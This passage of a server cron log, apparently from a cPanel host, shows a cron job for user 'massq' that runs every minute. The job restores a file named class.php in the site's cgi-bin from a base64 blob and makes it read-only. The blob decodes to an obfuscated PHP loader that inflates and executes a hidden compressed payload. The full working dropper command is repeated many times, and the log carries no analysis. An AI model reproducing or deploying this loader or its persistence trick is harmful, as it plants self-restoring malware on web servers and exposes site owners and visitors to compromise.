"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:41:01 server CROND[32694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:42:01 server CROND[358]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 22:42:01 server CROND[359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:43:01 server CROND[421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:44:01 server CROND[473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:45:01 server CROND[523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:45:01 server CROND[524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:45:01 server CROND[525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:46:01 server CROND[728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:47:01 server CROND[789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:48:01 server CROND[852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:49:01 server CROND[908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:50:01 server CROND[968]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 22:50:01 server CROND[969]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 22:50:01 server CROND[970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:50:01 server CROND[972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:50:01 server CROND[971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:51:01 server CROND[1078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:52:01 server CROND[1235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:53:01 server CROND[1300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
